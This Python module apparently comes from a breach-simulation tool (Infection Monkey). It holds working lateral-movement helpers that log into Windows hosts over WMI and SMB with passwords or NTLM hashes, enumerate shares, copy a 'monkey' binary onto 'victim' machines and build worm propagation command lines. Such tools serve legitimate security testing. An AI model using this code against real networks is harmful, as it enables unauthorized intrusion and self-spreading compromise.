import logging
import ntpath
import os
import os.path
import pprint
import socket
import struct
import sys
import urllib
from difflib import get_close_matches

from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMBConnection, SMB_DIALECT

import monkeyfs
from network import local_ips
from network.firewall import app as firewall
from network.info import get_free_tcp_port, get_routes
from transport import HTTPServer


class DceRpcException(Exception):
    pass


__author__ = 'itamar'

LOG = logging.getLogger(__name__)


class AccessDeniedException(Exception):
    def __init__(self, host, username, password, domain):
        super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
                                                    (host, domain, username, password))


class WmiTools(object):
    class WmiConnection(object):
        def __init__(self):
            self._dcom = None
            self._iWbemServices = None

        @property
        def connected(self):
            return self._dcom is not None

        def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
            if not domain:
                domain = host.ip_addr

            dcom = DCOMConnection(host.ip_addr,
                                  username=username,
                                  password=password,
                                  domain=domain,
                                  lmhash=lmhash,
                                  nthash=nthash,
                                  oxidResolver=True)

            try:
                iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
                                                     wmi.IID_IWbemLevel1Login)
            except Exception as exc:
                dcom.disconnect()

                if "rpc_s_access_denied" == exc.message:
                    raise AccessDeniedException(host, username, password, domain)

                raise

            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)

            try:
                self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
                self._dcom = dcom
            except:
                dcom.disconnect()

                raise
            finally:
                iWbemLevel1Login.RemRelease()

        def close(self):
            assert self.connected, "WmiConnection isn't connected"

            self._iWbemServices.RemRelease()
            self._iWbemServices = None

            self._dcom.disconnect()
            self._dcom = None

    @staticmethod
    def dcom_wrap(func):
        def _wrapper(*args, **kwarg):
            try:
                return func(*args, **kwarg)
            finally:
                WmiTools.dcom_cleanup()

        return _wrapper

    @staticmethod
    def dcom_cleanup():
        for port_map in DCOMConnection.PORTMAPS.keys():
            del DCOMConnection.PORTMAPS[port_map]
        for oid_set in DCOMConnection.OID_SET.keys():
            del DCOMConnection.OID_SET[port_map]

        DCOMConnection.OID_SET = {}
        DCOMConnection.PORTMAPS = {}
        if DCOMConnection.PINGTIMER:
            DCOMConnection.PINGTIMER.cancel()
            DCOMConnection.PINGTIMER.join()
            DCOMConnection.PINGTIMER = None

    @staticmethod
    def get_object(wmi_connection, object_name):
        assert isinstance(wmi_connection, WmiTools.WmiConnection)
        assert wmi_connection.connected, "WmiConnection isn't connected"

        return wmi_connection._iWbemServices.GetObject(object_name)[0]

    @staticmethod
    def list_object(wmi_connection, object_name, fields=None, where=None):
        assert isinstance(wmi_connection, WmiTools.WmiConnection)
        assert wmi_connection.connected, "WmiConnection isn't connected"

        if fields:
            fields_query = ",".join(fields)
        else:
            fields_query = "*"

        wql_query = "SELECT %s FROM %s" % (fields_query, object_name)

        if where:
            wql_query += " WHERE %s" % (where,)

        LOG.debug("Execution WQL query: %r", wql_query)

        iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)

        query = []
        try:
            while True:
                try:
                    next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
                    record = next_item.getProperties()

                    if not fields:
                        fields = record.keys()

                    query_record = {}
                    for key in fields:
                        query_record[key] = record[key]['value']

                    query.append(query_record)
                except DCERPCSessionError as exc:
                    if 1 == exc.error_code:
                        break

                    raise
        finally:
            iEnumWbemClassObject.RemRelease()

        return query


class SmbTools(object):
    @staticmethod
    def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
        assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)

        config = __import__('config').WormConfiguration
        src_file_size = monkeyfs.getsize(src_path)

        smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
        if not smb:
            return None

        # skip guest users
        if smb.isGuestSession() > 0:
            LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
                      " LM hash: %s, NTLM hash: %s",
                      host, username, password, lm_hash, ntlm_hash)

            try:
                smb.logoff()
            except:
                pass

            return None

        try:
            resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
        except Exception as exc:
            LOG.debug("Error requesting server info from %r over SMB: %s",
                      host, exc)
            return None

        info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
                'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
                'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
                'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
                'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
                'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}

        LOG.debug("Connected to %r using %s:\n%s",
                  host, dialect, pprint.pformat(info))

        try:
            resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
        except Exception as exc:
            LOG.debug("Error enumerating server shares from %r over SMB: %s",
                      host, exc)
            return None

        resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']

        high_priority_shares = ()
        low_priority_shares = ()
        file_name = ntpath.split(dst_path)[-1]

        for i in range(len(resp)):
            share_name = resp[i]['shi2_netname'].strip("\0 ")
            share_path = resp[i]['shi2_path'].strip("\0 ")
            current_uses = resp[i]['shi2_current_uses']
            max_uses = resp[i]['shi2_max_uses']

            if current_uses >= max_uses:
                LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
                          share_name, host)
                continue
            elif not share_path:
                LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
                          share_name, host)
                continue

            share_info = {'share_name': share_name,
                          'share_path': share_path}

            if dst_path.lower().startswith(share_path.lower()):
                high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)

            low_priority_shares += ((ntpath.sep + file_name, share_info),)

        shares = high_priority_shares + low_priority_shares

        file_uploaded = False
        for remote_path, share in shares:
            share_name = share['share_name']
            share_path = share['share_path']

            if not smb:
                smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
                if not smb:
                    return None

            try:
                tid = smb.connectTree(share_name)
            except Exception as exc:
                LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
                          share_name, host, exc)
                continue

            LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
                      share_name, share_path, remote_path, host)

            remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))

            # check if file is found on destination
            if config.skip_exploit_if_file_exist:
                try:
                    file_info = smb.listPath(share_name, remote_path)
                    if file_info:
                        if src_file_size == file_info[0].get_filesize():
                            LOG.debug("Remote monkey file is same as source, skipping copy")
                            return remote_full_path

                        LOG.debug("Remote monkey file is found but different, moving along with attack")
                except:
                    pass  # file isn't found on remote victim, moving on

            try:
                with monkeyfs.open(src_path, 'rb') as source_file:
                    # make sure of the timeout
                    smb.setTimeout(timeout)
                    smb.putFile(share_name, remote_path, source_file.read)

                file_uploaded = True

                LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
                         src_path, share_name, share_path, host)

                break
            except Exception as exc:
                LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
                          share_name, host, exc)
                continue
            finally:
                try:
                    smb.logoff()
                except:
                    pass

                smb = None

        if not file_uploaded:
            LOG.debug("Couldn't find a writable share for exploiting"
                      " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
                      host, username, password, lm_hash, ntlm_hash)
            return None

        return remote_full_path

    @staticmethod
    def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
        try:
            smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
        except Exception as exc:
            LOG.debug("SMB connection to %r on port 445 failed,"
                      " trying port 139 (%s)", host, exc)

            try:
                smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
            except Exception as exc:
                LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
                          host, exc)
                return None, None

        dialect = {SMB_DIALECT: "SMBv1",
                   SMB2_DIALECT_002: "SMBv2.0",
                   SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")

        # we know this should work because the WMI connection worked
        try:
            smb.login(username, password, '', lm_hash, ntlm_hash)
        except Exception as exc:
            LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
                      host, username, password, lm_hash, ntlm_hash, exc)
            return None, dialect

        smb.setTimeout(timeout)
        return smb, dialect

    @staticmethod
    def execute_rpc_call(smb, rpc_func, *args):
        dce = SmbTools.get_dce_bind(smb)
        rpc_method_wrapper = getattr(srvs, rpc_func, None)
        if not rpc_method_wrapper:
            raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))

        return rpc_method_wrapper(dce, *args)

    @staticmethod
    def get_dce_bind(smb):
        rpctransport = transport.SMBTransport(smb.getRemoteHost(),
                                              smb.getRemoteHost(),
                                              filename=r'\srvsvc',
                                              smb_connection=smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)

        return dce


class HTTPTools(object):
    @staticmethod
    def create_transfer(host, src_path, local_ip=None, local_port=None):
        if not local_port:
            local_port = get_free_tcp_port()

        if not local_ip:
            local_ip = get_interface_to_target(host.ip_addr)

        if not firewall.listen_allowed():
            return None, None

        httpd = HTTPServer(local_ip, local_port, src_path)
        httpd.daemon = True
        httpd.start()

        return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd


def get_interface_to_target(dst):
    if sys.platform == "win32":
        return get_close_matches(dst, local_ips())[0]
    else:
        # based on scapy implementation

        def atol(x):
            ip = socket.inet_aton(x)
            return struct.unpack("!I", ip)[0]

        routes = get_routes()
        dst = atol(dst)
        pathes = []
        for d, m, gw, i, a in routes:
            aa = atol(a)
            if aa == dst:
                pathes.append((0xffffffffL, ("lo", a, "0.0.0.0")))
            if (dst & m) == (d & m):
                pathes.append((m, (i, a, gw)))
        if not pathes:
            return None
        pathes.sort()
        ret = pathes[-1][1]
        return ret[1]


def get_target_monkey(host):
    from control import ControlClient
    import platform
    import sys

    if host.monkey_exe:
        return host.monkey_exe

    if not host.os.get('type'):
        return None

    monkey_path = ControlClient.download_monkey_exe(host)

    if host.os.get('machine') and monkey_path:
        host.monkey_exe = monkey_path

    if not monkey_path:
        if host.os.get('type') == platform.system().lower():
            # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
            if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
                            host.os.get('machine', '').lower() == platform.machine().lower():
                monkey_path = sys.executable

    return monkey_path


def get_target_monkey_by_os(is_windows, is_32bit):
    from control import ControlClient
    return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)


def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
    cmdline = ""

    if parent is not None:
        cmdline += " -p " + parent
    if tunnel is not None:
        cmdline += " -t " + tunnel
    if server is not None:
        cmdline += " -s " + server
    if depth is not None:
        if depth < 0:
            depth = 0
        cmdline += " -d %d" % depth
    if location is not None:
        cmdline += " -l %s" % location

    return cmdline


def build_monkey_commandline(target_host, depth, location=None):
    from config import GUID
    return build_monkey_commandline_explicitly(
        GUID, target_host.default_tunnel, target_host.default_server, depth, location)


def get_binaries_dir_path():
    if getattr(sys, 'frozen', False):
        return sys._MEIPASS
    else:
        return os.path.dirname(os.path.abspath(__file__))


def get_monkey_depth():
    from config import WormConfiguration
    return WormConfiguration.depth